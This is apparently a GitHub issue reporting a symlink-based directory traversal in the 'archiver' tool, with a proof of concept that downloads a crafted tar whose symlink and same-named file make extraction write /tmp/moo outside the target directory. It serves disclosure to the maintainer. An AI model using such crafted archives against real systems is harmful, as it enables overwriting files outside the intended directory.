Directory traversal through symlink

[jwilk]

Archiver is not careful enough when unpacking tar archives that contain symlinks. It will happily write over a symlink it previously created. This could cause directory traversal.

Proof of concept:

$ wget -q https://github.com/jwilk/path-traversal-samples/releases/download/0/symlink.tar -O traversal.tar

$ tar -tvvf traversal.tar 
lrwxrwxrwx root/root         0 2018-06-05 16:55 moo -> /tmp/moo
-rw-r--r-- root/root         4 2018-06-05 16:55 moo

$ pwd
/home/jwilk

$ ls /tmp/moo
ls: cannot access '/tmp/moo': No such file or directory

$ archiver open traversal.tar 

$ ls /tmp/moo
/tmp/moo

Tested with git master (e4ef56d).

[mholt]

Thanks for the report - do you want to submit a patch?

[jwilk]

No, I don't speak Go. Sorry!